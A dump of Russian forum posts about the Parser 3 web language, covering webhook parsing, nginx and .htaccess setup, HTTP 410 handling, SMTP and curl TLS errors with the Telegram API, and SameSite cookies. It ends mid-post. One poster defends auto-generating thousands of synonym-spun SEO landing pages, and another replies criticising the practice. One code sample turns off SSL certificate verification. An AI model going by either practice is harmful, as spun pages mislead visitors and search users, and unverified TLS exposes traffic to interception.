[quot]А парсер складывает для себя указанные файлы в один последовательный текст и с ним работает.[/quot]\
\
Это ваши фантазии в стиле «пусть оно само», пока вы не узнали или не столкнулись с хоть какой-нибудь организацией кода.\
Модулями, классами, операторами, наследованием и перекрытием методов.\
Понадобится контроль над процессом и понимание происходящего, а не «коробка-автомат».\
\
[quote]По тому же принципу, как .css-файлов пишется сколько влезет, просто как админу удобно, а браузеру абсолютно безразлично, как они разбиты и разбиты ли.[/quote]\
\
О да, браузеру «всё равно».\
Почитайте про импорт стилей, способы включения, приоритеты селекторов, рекурсивное включение, и то как браузер со всем этом в режиме «всё равно» работает.\
Потом подумайте почему, в случае если браузеру «всё равно», специалистами понапридумана масса подходов и методик к написанию стилей.\
Пост- и препроцессоры, надстройки над CSS, подходы с сборке фронтенда проектов и организации стилей.\
\
Пока вы не можете внятно сформулировать чего хотите, а значит невозможно неизвестно что сделать."
"85058","Сам понимаю что больше похоже на какую то магию, но тем не менее, между состоянием ошибки от любого вызова, до работоспособности я ничего не делал вообще, кроме установки pgAdmin. В порядке бреда профана - может какая то либа была, но не той версии?\
\
Сейчас повторил всю цепочку - скопировал рабочий вариант 3.4.5, проверил что работает, пересобрал 3.4.6, заменил бинарник - всё работает. Как будто ошибка мне приснилась. Но логи то помнят ))"
"85059","Хоть с ними реже приходится сталкиваться, но в NFTS они тоже есть. :)"
"85060","[quote]А потом еще указываете, утрирую, вызовы в виде class=''.[/quote]\
Именно, я из html \"вызываю\" класс, не заморачиваясь совершенно, [i]в каком из[/i] .css-файлов он прописан или прописан вообще в хеде основного html. Первым или пятым стоит link rel на файл с @media screen and (min-width:1200px) {body {css}}, всем тоже совершенно пофиг. Ну вот и в парсере, когда я вызываю ^something[], [b]зачем[/b] разница, здесь он или где-то там? Как нет разницы, ниже или выше он в том же коде, почему б не быть разницы, в каком он из файлов? Да если уж до конца идти, почему б не заставить парсер читать и применять [b]любые[/b] .p, видимые в каталоге и выше, а не только \"auto\". Для черновиков можно писать в начале @BLOCK и всего делов.\
\
В конце концов, пространство сайта всё равно неизбежно чётко раскаталожено, для этого есть риквесты, формы запроса и ифы - так [b]неужели кому-то необходимы методы с идентичным названием, но разные по содержанию[/b] для разных случаев?\
\
Серьёзно?\
\
Или чем обусловлена необходимость всякий раз говорить парсеру, куда именно смотреть?"
"85064","как поставить копирайт на фото в нужный угол? фото в jpg, копирайт в png"
"85066","Доброго времени суток,\
\
вебхук одной срм системы работает следующим образом согласно описания:\
\
[quote]POST переменная содержит массив вида {“entity”:{“action”:{\"0\":{массив полей сущности}}}} в случае создания и обновления сущности[/quote]\
\
Пытался получить ее значение перебором form:fields.foreach (с другими срм на ура).\
\
Отправка хука происходит (обращение к странице).\
\
Буду признателен за подсказку."
"85068","Спасибо :)"
"85070","Речь про этот символ? https://www.compart.com/en/unicode/U+270E\
\
Если не брать во внимание строковые функции, парсер работает с байтами. Символами они становятся при отображении в браузере. Соответственно надо указывать коды символа в кодировке файла. Если UTF-8, то видимо будет как в заголовке сообщения."
"85071","http://www.unicode-symbol.com/u/270E.html"
"85073","Добрый день,\
\
мне отправляют json в $response:body у меня он такой:\
\
[code]contacts%5Badd%5D%5B0%5D%5Bid%5D=9375285&contacts%5Badd%5D%5B0%5D%5Bname%5D=Test+2&contacts%5Badd%5D%5B0%5D%5Bresponsible_user_id%5D=5763289&contacts%5Badd%5D%5B0%5D%5Bdate_create%5D=1579694744&contacts%5Badd%5D%5B0%5D%5Blast_modified%5D=1579694744&contacts%5Badd%5D%5B0%5D%5Bcreated_user_id%5D=5763289&contacts%5Badd%5D%5B0%5D%5Bmodified_user_id%5D=5763289&contacts%5Badd%5D%5B0%5D%5Bcreated_at%5D=1579694744&contacts%5Badd%5D%5B0%5D%5Bupdated_at%5D=1579694744...[/code]\
\
Соответсвенно [code]$json[^json:parse[^taint[as-is;$response:body]]][/code] ругается.\
\
Пробовал [code]^string:unescape[uri;$request:body][/code] получил\
[code]contacts[add][0][id]=9375285&contacts[add][0][name]=Test 2&contacts[add][0][responsible_user_id]=5763289&contacts[add][0][date_create]=1579694744&contacts[add][0][last_modified]=1579694744&contacts[add][0][created_user_id]=5763289&contacts[add][0][modified_user_id]=5763289&contacts[add][0][created_at]=1579694744&contacts[add][0][updated_at]=1579694744&contacts[add][0][type]=contact...[/code]\
\
С кодировкой ок, и разобрать вроде можно, но это костыль.\
\
Подскажите, пожалуйста, как правильно привести это в нормальный json|hash\
\
Заранее спасибо за помощь."
"85074","[quote]Не совсем работает[/quote] означает следующее:\
1) При обращении по адресам такого вида\
[code]\
example.com\
example.com/test/\
example.com/t2/\
[/code]\
соответствующий индексный файл из указанной директории (т.е. index.html) парсится Парсером и все работает.\
Если index.html в папке нет - то я не понимаю, что обрабатывает Парсер. Но что-то пытается обработать и выдает \
[quote]Unhandled Exception (parser.runtime)\
'main' method not found[/quote]\
\
2) При обращении по адресам \
[code]\
example.com/index.html\
example.com/anyname.html\
[/code]\
соответствующие файлы *.html не парсятся Парсером и выдаются необработанными\
\
Как сделать чтобы все uri парсились Парсером ума не приложу. Подскажите куда копать?\
Строчка [code]ErrorDocument 404 /404.html[/code] отрабатывается как надо.\
\
Все это я пытаюсь заставить работать на виртуальном сервере от timeweb.ru c centos6 и предустановленной панелью управления сервером Vesta Control Panel,\
Parser/3.4.5 (compiled on x86_64-unknown-linux-gnu)\
[quote]\
[root@p5 ~]# httpd -v\
Server version: Apache/2.2.15 (Unix)\
Server built:   Nov 15 2012 15:52:50\
[root@p5 ~]# nginx -v\
nginx version: nginx/1.16.1\
[/quote]\
\
.htaccess стандартный:\
[code]ErrorDocument 404 /404.html\
ErrorDocument 403 /403.html\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"85075","Это отправляют вам не в формате JSON.\
Поэтому, либо разбирать строку самому, либо требовать, чтобы присылали все-таки JSON"
"85076","В ожидании ответа на свой вопрос решил набросать код для разбора вашей строчки в [quote]нормальный hash[/quote]\
\
[code]\
\
$sData[^string:unescape[uri;$request:body]]\
$tParts[^sData.split[&;lv;portion]]\
\
#  для \"contacts[add][0]\" можно сделать хеш вот так, например:\
$hData[^hash::create[]]\
^tParts.menu{\
	$tParts2[^tParts.portion.match[^^contacts^[add^]^[0^]^[(.+)^]=(.+)^$][g]]\
	$hData.[$tParts2.1][$tParts2.2]\
}\
\
# и посмотреть, что получилось...\
^hData.foreach[key;value]{ \
	$key=$value \
}[<br />] \
\
[/code]"
"85077","Спасибо и amocrm утверждает что шлет json :)"
"85078","[quote]Если index.html в папке нет - то я не понимаю, что обрабатывает Парсер. Но что-то пытается обработать и выдает [/quote]\
\
А название файла он разве при этом не пишет?\
Может оно есть в parser3.log рядом с бинарником парсера?\
Подозреваю /404.html и /403.html и обрабатывает.\
\
[quote]соответствующие файлы *.html не парсятся Парсером и выдаются необработанными[/quote]\
\
А вот это подозреваю хостер \"шалит\". Наверняка у него перед apache nginx\
стоит для уменьшения нагрузки и статику по списку расширений напрямую отдает.\
\
Попробуйте переименовать все в .pxml например (и AddHandler в .htaccess понятно тоже). Не поможет - придется в .php переименовывать. :)"
"85079","[quote]А название файла он разве при этом не пишет?\
Может оно есть в parser3.log рядом с бинарником парсера?[/quote]\
\
[code][Wed Jan 22 19:06:33 2020] [20060] /t2/: 'main' method not found [parser.runtime] [uri=/t2/, method=GET, cl=0][/code]\
\
[quote]А вот это подозреваю хостер \"шалит\". Наверняка у него перед apache nginx\
стоит для уменьшения нагрузки и статику по списку расширений напрямую отдает.[/quote]\
\
У меня же VDS. nginx точно работает. Придется настройки nginx изучать и менять.\
\
\
Не хочется от .html пока отказываться.\
\
\
Хотя, видимо, уже пришло время в очередной раз переписать все нажитое долгими годами и оставить в вебпространстве только auto.p и index.html с двумя-тремя строчками кода.\
\
PS Нашел в конфиге nginx строчку, начинающуюся с location с регэкспом, к которому подходили *.html файлы, и не подходили *.php и *.pxml, убрал из нее html и все заработало!"
"85080","Посмотрите, что лежит в $forms:fields"
"85081","[quote][Wed Jan 22 19:06:33 2020] [20060] /t2/: 'main' method not found [parser.runtime] [uri=/t2/, method=GET, cl=0][/quote]\
\
У меня получилось получить такую ошибку, когда в /403.html были объявлены методы, но среди них не было метода @main[].\
То есть как я и писал, действительно обрабатывается /403.html."
"85082","Искал json, а слона и не заметил."
"85083","Мой сайт четыреста четырит левые запросы в форме.\
\
Ими славен фейс, хочу избавиться:\
\
[code]@auto[]\
$ffb[$form:fields]\
^if(def $ffb.fbclid){$uri[$request:uri]$response:location[https://lea.ve${uri}]}[/code]\
\
Браузер продолжает четыреста четырить, не меняя строку вида https://lea.ve?fbclid=kdsjbfljafblaebj\
\
Wazzup?"
"85084","необходимо в текстовом поле сделать исключение всех символов кроме цифр"
"85085","https://www.parser.ru/docs/lang/requesturi.htm\
\
[code]@auto[]\
^if(def $form:fields.fbclid){\
	$uri[$request:uri]\
\
	^throw[debug;$uri]\
\
	$response:location[https://lea.ve$uri]\
}[/code]"
"85086","Это если в парсере, конечно"
"85088","На клиентской стороне вам надо сделать исключение символов средствами js. Вариантов решений много: либо взять уже готовый плагин, либо написать свое. Тут действительно ничего сложного и все сводится к прикреплению события на поле, проверка/корректировка ввода и проверка при отправке.\
На серверной стороне тоже необходимо сделать очистку и проверку получаемого значения. Для очистки самый простой способ удаление \"мусора\" регуляркой, как предложено выше, и проверка, в зависимости от ваших потребностей."
"85089","Насколько я понимаю задачу:\
[code]@auto[]\
$uri[$request:uri]\
$cut_params[fbclid|gclid|yclid]\
$uri[^uri.match[([?&])(?:$cut_params)=[^^&]*;gi]{$match.1}]\
$uri[^uri.match[&+;g;&]]\
$uri[^uri.trim[end;&?]]\
\
^if($uri ne $request:uri){\
	$response:location[https://lea.ve$uri]\
}[/code]"
"85090","если есть возможность это сделать готов по сотрудничать"
"85091","все в парсере"
"85092","напишите мне на ivansergeev@gmail.com"
"85093","Добрый вечер!\
Parser кастомной сборки 3.4.2 (compiled on x86_64-unknown-freebsd6.4).\
В конфигурационном auto.p не указаны настройки $MAIL.\
На сервере sendmail работает, если проверять при помощи PHP.\
При отправке формы на сайте в лог Парсера пишется следующее:\
[code]The mail server doesn't like the name info@iec.lv. Have you set the 'To: ' field correctly? [smtp.execute] [uri=/application-remote-form, method=POST, cl=189][/code]\
Что это может значить? Я бы еще понял, если бы ему поле \"From\" не нравилось, но здесь речь про \"To\". Так или иначе домен обоих полей отличается от домена, на котором размещен сайт со старым Имприматуром на борту.\
Правильно ли я понимаю, что почта принудительно идет через SMTP вместо sendmail'a и настройки вшиты в сборку Parser и узнать их будет проблематично?\
Что можете посоветовать в поиске решения проблемы?"
"85095","https://www.parser.ru/forum/?id=81601"
"85096","Да, верно :)\
5 лет назад была похожая проблема, но ее так и не удалось решить и я забил на нее.\
Теперь у клиента похожая проблема. Но в данном случае SMTP сервер требует авторизацию, а в той версии Парсера ее нет. Да и вроде бы в последней тоже."
"85097","[quote]В конфигурационном auto.p не указаны настройки $MAIL.[/quote]\
\
Они могут быть указаны где угодно, не обязательно в cgi/auto.p, стоит поискать \"SMTP\" по коду.\
\
[quote]Правильно ли я понимаю, что почта принудительно идет через SMTP вместо sendmail'a и настройки вшиты в сборку Parser и узнать их будет проблематично?[/quote]\
\
Почта действительно идет через SMTP, но едва ли принудительно - такой опции сборки нет, и раз используется SMTP, значит где-то задан $MAIN:MAIL.SMTP..."
"85098","Спасибо! Действительно, эти настройки в другом auto.p, в корне самого сайта. Побеседую с хостером."
"85100","[b]Проблема:[/b] гугл-консоль помнит старый сайт на этом домене и выдаёт девятьсот ошибок по его адресам. Где гугл берёт их - загадка: больше года не было ни сайта, ни сайтмепов, а он всё помнит. И мешает себе и мне. Логически, надо по всем этим урлам отвечать 410 Gone и ждать закрытия темы.\
\
[b]Попытка:[/b] старые страницы довольно просто вычислить по url: они либо в папках /a/, /b/ или /c/, либо во вложенных папках вида /.../.../124/.\
\
Пробую.\
\
[code]@auto[]\
^if(in '/test/'){$response:status[410]}[/code]\
\
И добавляю в .htaccess \"ErrorDocument 410 /410.html\" с пользовательским содержимым.\
\
[b]Результат:[/b] ни фига, 404.\
\
[b]Вопрос:[/b] есть ли внутрипарсерное решение [b]без[/b] создания всех мыслимых obsolete-папок и подпапок на новом сайте?\
\
Не понимаю, [i]в какой момент[/i] возникает проблема, но есть аккуратное подозрение, что парсер [b]продолжает[/b] выполнять код и сам же отдаёт 404 в итоге, не находя запчастей для страницы.\
\
Ну, у меня код нового сайта устроен так, что в нужных .html-файлах написано \"^formapage[]\", а в auto.p - @auto[], далее @formapage[] со всем html от <doctype>, ниже все запчасти. То есть, нет запроса ^formapage[] - нет кода никакого.\
\
Как быть? Как выдавать 410 по признакам урла без переделывания вообще всего?"
"85101","[quote]Не понимаю, в какой момент возникает проблема, но есть аккуратное подозрение, что парсер продолжает выполнять код и сам же отдаёт 404 в итоге[/quote]\
\
Естественно, присвоение $response:status[410] не означает прерывание выполнения кода.\
Самым простым решением будет перенести это присвоение в @postprocess[] и там же выдать нужный ответ.\
\
[quote]И добавляю в .htaccess \"ErrorDocument 410 /410.html\" с пользовательским содержимым.[/quote]\
\
Насколько понимаю, результатом обработки запроса в вашем случае является вызов парсера, поэтому эта инструкция уже не будет работать."
"85102","John Mueller:\
[quote]From our point of view, in the mid term/long term, a 404 is the same as a 410 for us. So in both of these cases, we drop those URLs from our index.\
\
We generally reduce crawling a little bit of those URLs so that we don’t spend too much time crawling things that we know don’t exist.\
\
The subtle difference here is that a 410 will sometimes fall out a little bit faster than a 404. But usually, we’re talking on the order of a couple days or so.\
\
So if you’re just removing content naturally, then that’s perfectly fine to use either one. If you’ve already removed this content long ago, then it’s already not indexed so it doesn’t matter for us if you use a 404 or 410.[/quote]\
\
Если ошибки долго не уходят из отчётов консоли, то, вероятно, есть внешние или внутренние ссылки на данные страницы.\
Стоит поискать по логу переходы не ботов на эти страницы и проанализировать referer'ы."
"85103","Интересно. Добавил сразу после response ^error410[], в методе нарисовал страницу под это.\
\
Результат: сервер отвечает 410, но визуально отображается /404.html из .htaccess, а не написаный под десятку парсерный код!\
\
Как так? Непонятно. Откуда и [b]в какой момент[/b] может браться 404 и почему в итоге для одних примерений работает 410 (\"ответ сервера\" тестировалками), а для других - 404 (происходит-таки подгрузка своей четвёртой)?\
\
Имеем в виду, что физически запрашиваемых папок-страниц на сервере таки нет."
"85104","Как запрограммировали, так и работает. :)\
\
Если нет понимания, как работает код - выводите отладочную информацию по ходу выполнения запроса, например с помощью [url=\"https://www.parser.ru/lib/debug/\"]Debug.p[/url]."
"85105","Ну, набрать из URL каких-нибудь условий, чтобы во времени не менялись (общая длина, второй слева символ etc), по ним нароботизировать абзац текста по предмету и письменное сообщение про ошибку, а вот ответ сервера не трогать. И ключи/описания какие-нибудь небывалые, но тематические.\
\
С такими заявлениями хочется спросить гугл навстречу: дайте мне причину вообще думать об этом. Если вам плевать на разницу между совсем разными ошибками и разбираете ответ однобитно, 1/0, зачем же мне делать 0. Я могу и 1 сделать. В ту же 404.html написать response 200 (выдаваемая 404.html тоже умеет парсер, проверено) и всего делов."
"85107","[quote]Ну, набрать из URL каких-нибудь условий, чтобы во времени не менялись (общая длина, второй слева символ etc), по ним нароботизировать абзац текста по предмету и письменное сообщение про ошибку, а вот ответ сервера не трогать. И ключи/описания какие-нибудь небывалые, но тематические.[/quote]\
\
Чудесная идея, чтобы загнать сайт под фильтры ПС.\
Ещё это прекрасный способ ухудшить позиции хороших страниц, усложнив их переиндексацию из-за сгенерированного мусора.\
Генерированный говноконтент не нужен ни пользователям, ни, соотвественно, поисковым системам.\
\
Если страницы нет, должен быть ответ с кодом статус 404.\
Если известно, что страница была, но удалена окончательно — 410.\
\
На скорость удаления из индекса ПС конкретный код из этих двух не влияет.\
\
[quote]С такими заявлениями хочется спросить гугл навстречу: дайте мне причину вообще думать об этом. Если вам плевать на разницу между совсем разными ошибками и разбираете ответ однобитно, 1/0, зачем же мне делать 0. Я могу и 1 сделать. В ту же 404.html написать response 200 (выдаваемая 404.html тоже умеет парсер, проверено) и всего делов.[/quote]\
\
Выдавать 404 с кодом статуса 200 — генерировать soft-404-ответы.\
Вас никто не заставляет делать хорошо, но Google трезво оценить качество сайта с таким подходом и правильно сделает, понизив его в выдаче.\
\
Дело не в Google, а в культуре разработки.\
ПС лишь подстраиваются под интернет, из соображений «зачем мне напрягаться» по большей части состоящий из ошибок.\
\
Если бы все вебмастера чётко следовали стандартам и использовали нужные коды статусов, не допускали soft-404, не генерировали мусорный контент, не делали ошибок в выдаче 404, то и поисковые системы бы ничего не додумывали и чётко следовали указаниям."
"85108","Я подумал так. Компания оказывает 25 услуг в 25 регионах.\
\
В сфере, где она работает, популярны также 25 товарных заказов.\
\
Поэтому я поступил так. Товары жды регионы = 625, услуги жды регионы = столько же, и всё на трёх языках (компания украинская, плюс английский) = 3750 понятных лендингов.\
\
[b]Вместо того,[/b] чтобы срать ключами в текст основных 12 страниц, а чтобы сохранить их читаемость, человечность и безводность [i]для человека,[/i] а не робота, я решил для поисковиков надувать щёки [b]не так, как хотят они:[/b] не балабольством на заданную тему (как ищешь рецепт сырников - сначала читаешь 28 экранов того, что такое сырники, почему они сырники и какие дети любят сырники, что под силу любой хозяйке, особенно по нашему домашних сырников рецепт), а [i]количеством страниц[/i] по тематике на сайте.\
\
Писать руками 3750 страниц сумасшедших нет, но можно внятно, человечно, доброжелательно поговорить на на запрошенную тему с ищущими что-нибудь вроде \"услуга полтава\". И проводить их с лендинга в сайт (обратной дороги нет, с главной не прикликаешь).\
\
Поэтому из трёх таблиц - о регионах, об услугах и о товарах (со всеми склонениями каждая) были нагенерены тексты, которые различаются не только строками $what и $where, но и очень тщательно проработанными случайностями.\
\
Например, вот кусок:\
\
[code]$govnorandom7(^math:random(4))\
$govnorandom8(^math:random(3))\
$govnorandom9(^math:random(2))\
$govnorandom10(^math:random(2))\
$govnorandom11(^math:random(2))\
$govnorandom12(^math:random(2))\
$govnorandom13(^math:random(3))\
$govnorandom14(^math:random(2))\
$govnorandom15(^math:random(2))\
$govnorandom16(^math:random(2))\
$govnorandom17(^math:random(2))\
$govnorandom18(^math:random(2))\
$govnorandom19(^math:random(2))\
$govnorandom20(^math:random(2))\
$govnorandom21(^math:random(3))\
$govnorandom22(^math:random(2))\
$govnorandom23(^math:random(2))\
$govnorandom24(^math:random(2))\
$govnorandom25(^math:random(2))\
$govnorandom26(^math:random(3))\
$govnorandom27(^math:random(3))\
\
<p>^if($govnorandom7 == 0){Тираж}^if($govnorandom7 == 1){Поставка}^if($govnorandom7 == 2){Выпуск}^if($govnorandom7 == 3){Изготовление} ^if($govnorandom8 == 0){брендированных}^if($govnorandom8 == 1){„фирменных“}^if($govnorandom8 == 2){корпоративных} $things_ru_from ^if($govnorandom9 == 1){в цветах вашей компании }— ^if($govnorandom10 == 1){задача}{цель} ^if($govnorandom11 == 1){абсолютно}{совершенно} ^if($govnorandom12 == 1){техническая}{производственная}. ^if($govnorandom13 == 0){Понятно}^if($govnorandom13 == 1){Очевидно}^if($govnorandom13 == 2){Безусловно}, её ^if($govnorandom10 == 1){решение}{достижение} ^if($govnorandom14 == 1){может быть <i>компонентом</i>}{— важный <i>^if($govnorandom15 == 1){компонент}{ингредиент}}</i> ^if($govnorandom16 == 1){^if($govnorandom17 == 1){маркетинговой }{рекламной }}работы над ^if($govnorandom18 == 1){имиджем и }продажами^if($govnorandom19 == 1){ ^if($govnorandom20 == 1){предприятия}{компании}}. ^if($govnorandom21 == 0){Однако,}^if($govnorandom21 == 1){Но}^if($govnorandom21 == 2){В то же время,} <i>само ^if($govnorandom22 == 1){по себе }</i>^if($govnorandom23 == 1){её}{такое} ^if($govnorandom10 == 1){решение}{достижение} ^if($govnorandom24 == 1){совершенно}{абсолютно} точно не ^if($govnorandom25 == 1){принесёт}{даст} ^if($govnorandom26 == 0){ожидаемого}^if($govnorandom26 == 1){должного}^if($govnorandom26 == 2){требуемого} ^if($govnorandom27 == 0){результата}^if($govnorandom27 == 1){эффекта}^if($govnorandom27 == 2){роста}.</p>[/code]\
\
Это, например, такой один абзац:\
\
[b]Изгoтoвление „фиpмeнныx“ кpyжек — цeль aбcoлютнo тexничеcкaя. Бeзycловно, eё дoстижeниe — вaжный [i]кoмпoнeнт[/i] рaбoты нaд имиджeм и пpoдaжaми кoмпaнии. Нo [i]сaмo пo сeбe[/i] тaкoе дoстижение aбсoлютно тoчно нe принeсёт трeбyeмого рeзультaтa.[/b]\
\
То же с заголовками, титулами и так далее. Всё близкое, но своё, под запрос и так далее. В каждом из трёх языков. Это требовало больших редакторских и прочих усилий. Вот для таких вещей парсер прямо ок.\
\
Что же, подход - некультурный? При таком подходе - опасно? Серьёзно?"
"85110","Достаточно задать себе вопрос: приносит ли подобный текст пользу посетителю и честно на него ответить.\
\
Генерированные тексты никто не читает и особого толку от них нет.\
Вся рандомизация не привносит в текст ничего нового и давно выявляется методами слабого искусственного интеллекта.\
Уже десять назад все писали генераторы текста с рандомизацией синонимами, их легко выявляет даже простой анализ шинглами.\
\
Термины «ключи», «человечность», «безводность», «тошнотность» иже с ними давно пора забыть.\
Прекрасно находятся даже страницы без прямых вхождений ключевых слов — благо в ПС давно работает анализ синонимов.\
\
Фактически, нужно добиться популярности сайта у пользователя, а ПС не останется ничего, кроме как подстроиться.\
Можно сделать говносайт с уникальным контентом, который вопреки всем рекомендациям будет стоять на первых местах, но технически качественному сайту, при прочих равных, занять эти места проще.\
\
[quote]Писать руками 3750 страниц сумасшедших нет[/quote]\
\
Именно такие «сумасшедшие» и идут правильным, хоть и трудным, путём.\
А остальной интернет ворует друг у друга кривые каталоги с одинаковыми ошибками в описании товаров.\
\
У товара вполне может не быть текстового описания, но может быть качественно описанные ТТХ.\
\
Если же у товара будет настоящий, специально о нём написанный текст — это много ценнее генерации любых масштабов.\
\
Проблема не столько в контенте, сколько необходимости его генерировать и обновлять постоянно, в воровстве.\
\
[quote]Что же, подход - некультурный?[/quote]\
\
Такой подход — ленивый, хоть и бывает вынужденным.\
Любые хитрости такого плана выявляются в автоматическом режиме и страницы без затей получают пометку «некачественная».\
\
[quote]При таком подходе - опасно? Серьёзно?[/quote]\
\
Я говорил об опасности генерации пустышек — страниц с несуществующими товарами и попытках ответа 200 на запросы к несуществующим страницам.\
\
У ПС есть т. н. бюджет обхода, он зависит от размера сайта и других его качеств.\
Больше этого количества URL (включая перенаправления) краулер не обходит и индексатору не передаёт.\
\
Расход этого бюджета на мусор снижает частоту переиндексации полезных страниц, отодвигает, а то и исключает, момент попадания в индекс и выдачу новых страниц.\
Не стоит генерировать для ПС лишнюю работу.\
\
Генерация текста тоже не так безобидна как может показаться.\
Добиться санкций вряд ли получиться, но снизить качество сайта, размыв полезные страницы вполне удастся.\
Но самое плохое в ней — издевательство над посетителями.\
Лично я на подобных сайтах не задерживаюсь."
"85112","работало-работало никто ниче не трогал, и тут ОППА : перестало:\
[quote] SSL connect error\
 load\
 exception.type=curl.ssl [/quote]\
\
\
[code]	$botResult[^curl:load[\
		$.url[https://api.telegram.org/bot${lBot.token}/sendMessage]\
		$.ssl_verifypeer(false)\
		$.connecttimeout(3000)\
		$.timeout(3000)\
		$.content-type[application/json]\
		$.mode[text]\
		$.charset[UTF-8]\
		$.httppost[$lBODY]\
		$.fresh_connect(true)\
	]][/code]\
\
сообщений гдето два в день, группа своя \
через хром - вроде работает (пустой запрос возвращает {\"ok\":false,\"error_code\":400,\"description\":\"Bad Request: message text is empty\"} ) - SSL ошибок нет\
\
Parser/3.4.5 (compiled on i386-pc-win32)\
\
[code]          382 976 libcurl.dll\
        1 704 448 libeay32.dll\
           56 832 libmemcached.dll\
        1 396 736 parser3.exe\
        1 470 976 parser3isapi.dll\
           48 988 parser3_uninst.exe\
          364 544 ssleay32.dll\
[/code]\
\
\
Microsoft Windows [Version 6.1.7600]\
(Server 2008 R2 E x64)"
"85113","На 10 запросов к апи системы оплаты - 7-8 \"SSL connect error\". Парсер и curl свежие. Закономерность и решение пока не найдено."
"85116","failed to load curl library Q:/PARSER/Parser345/libcurlW32.dll: The specified module could not be found.\
\
с любьіми вариантами путей. судя по всему у новой либьі не та \"точка входа\"\
\
[code]	^curl:options[$.library[Q:/PARSER/Parser345/libcurlW32.dll]] \
	^curl:session{\
[/code]\
\
[code]	^curl:options[$.library[Q:\\\\PARSER\\\\Parser345\\\\libcurlW32.dll]] \
	^curl:session{\
[/code]\
\
[code]	^curl:options[$.library[Q:\\PARSER\\Parser345\\libcurlW32.dll]] \
	^curl:session{\
[/code]"
"85117","[code]$.sslversion(0)\
* Adding handle: conn: 0x325d7d0\
* Adding handle: send: 0\
* Adding handle: recv: 0\
* Curl_addHandleToPipeline: length: 1\
* - Conn 0 (0x325d7d0) send_pipe: 1, recv_pipe: 0\
* About to connect() to api.telegram.org port 443 (#0)\
*   Trying 149.154.167.220...\
* Connected to api.telegram.org (149.154.167.220) port 443 (#0)\
* error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version\
* Closing connection 0\
\
$.sslversion(2)\
* Adding handle: conn: 0x31bd7d0\
* Adding handle: send: 0\
* Adding handle: recv: 0\
* Curl_addHandleToPipeline: length: 1\
* - Conn 0 (0x31bd7d0) send_pipe: 1, recv_pipe: 0\
* About to connect() to api.telegram.org port 443 (#0)\
*   Trying 149.154.167.220...\
* Connected to api.telegram.org (149.154.167.220) port 443 (#0)\
* OpenSSL was built without SSLv2 support\
* Closing connection 0\
\
$.sslversion(3)\
* Adding handle: conn: 0x317d7d0\
* Adding handle: send: 0\
* Adding handle: recv: 0\
* Curl_addHandleToPipeline: length: 1\
* - Conn 0 (0x317d7d0) send_pipe: 1, recv_pipe: 0\
* About to connect() to api.telegram.org port 443 (#0)\
*   Trying 149.154.167.220...\
* Connected to api.telegram.org (149.154.167.220) port 443 (#0)\
* error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure\
* Closing connection 0\
\
$.sslversion(4)\
$.sslversion(5)\
$.sslversion(6)\
* Adding handle: conn: 0x325d7d0\
* Adding handle: send: 0\
* Adding handle: recv: 0\
* Curl_addHandleToPipeline: length: 1\
* - Conn 0 (0x325d7d0) send_pipe: 1, recv_pipe: 0\
* About to connect() to api.telegram.org port 443 (#0)\
*   Trying 149.154.167.220...\
* Connected to api.telegram.org (149.154.167.220) port 443 (#0)\
* error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version\
* Closing connection 0[/code]"
"85118","Вероятно, используемые сервисы отключили их.\
\
О чём и пишут в ответе:\
[quote]tlsv1 alert protocol version[/quote]\
\
Переключение на [i]$.sslversion(6)[/i] (TLSv1.2) должно помогать, если библиотека достаточно нова, чтобы поддерживать опцию.\
\
https://www.digicert.com/blog/depreciating-tls-1-0-and-1-1/"
"85119","4 февраля вышел Chrome 80, в котором «перестали работать» third-party-cookies.\
Для установки режима передачи cookie сторонним доменам теперь нужно использовать новое свойство [i]SameSite[/i].\
\
Не стоит ли добавить поддержку этого свойства в заголовке?\
\
https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-03#section-5.2\
https://blog.chromium.org/2019/10/developers-get-ready-for-new.html"
"85120","Мне нравится вот такая сборка (она без внешних зависимостей, только libcurl.dll): https://skanthak.homepage.t-online.de/curl.html . Но сейчас попробовал - почему-то только 64-х битная версия работает (с 64-х битной версией парсера), 32-х битная dll не грузится: \"failed to load curl library libcurl.dll: Attempt to access invalid address\". Но возможно это на конкретном компьютере такая проблема (раньше 32-х битная точно работала)."
"85121","В коде класса Cookie вроде как нет фиксированного перечня атрибутов - что поставить, то и будет выдано (получено)..."
"85122","Вроде работает:\
[code]\
$cookie:test[\
   $.value[guest]\
   $.expires(14)\
   $.samesite[Lax]\
]\
[/code]\
\
Google Chrome\
Version 80.0.3987.87 (Official Build) (64-bit)\
[url=\"https://imgur.com/GtkIlAK\"]https://imgur.com/GtkIlAK[/url]\
\
\
И при чтении:\
[code]$cookie:fields[/code]\
получаем\
[code]\
$.test[\
	$.value[guest]\
	$.expires(14)\
	$.samesite[Lax]\
]\
[/code]"
"85123","Но что возможно - это что кроме libcurlW32.dll нужны еще какие-то .dll, это можно например через http://www.dependencywalker.com/ проверить."
"85124","И неясно было в каком виде использовать название свойства.\
\
Судя по [url=https://www.parser.ru/forum/?id=85122]примеру ниже[/url], всё работает.\
Что не может не радовать."
"85128","failed to load curl library libcurl.dll: The specified module could not be found.\
\
хоть тресни.\
\
 libssl и libcrypto впихнуть не могу (вернее могу, но оно не работает без VCredist2017 , которое мне тутошние админьі не дают поставить )\
\
можно когото попросить перекомпилить libcurl.dll в дистрибутиве парсера?"
"85129","почти все что есть требует\
API-MS-WIN-CRT-CONVERT-L1-1-0.DLL\
API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL\
API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL\
API-MS-WIN-CRT-HEAP-L1-1-0.DLL\
API-MS-WIN-CRT-MATH-L1-1-0.DLL\
API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL\
API-MS-WIN-CRT-STDIO-L1-1-0.DLL\
API-MS-WIN-CRT-STRING-L1-1-0.DLL\
\
(я так понимаю из из VC редист?)\
\
https://skanthak.homepage.t-online.de/curl.html\
действительно : failed to load curl library libcurl.dll: Attempt to access invalid address."
"85131","достаточно обновить с https://indy.fulgan.com/SSL/\
\
[code]    1 380 864 libeay32.dll\
      337 920 ssleay32.dll\
[/code]\
\
\
тогда начинает рботать\
[code]$.sslversion(4)\
$.sslversion(5)\
$.sslversion(6)\
[/code]\
\
ну, а тут как и раньше:\
\
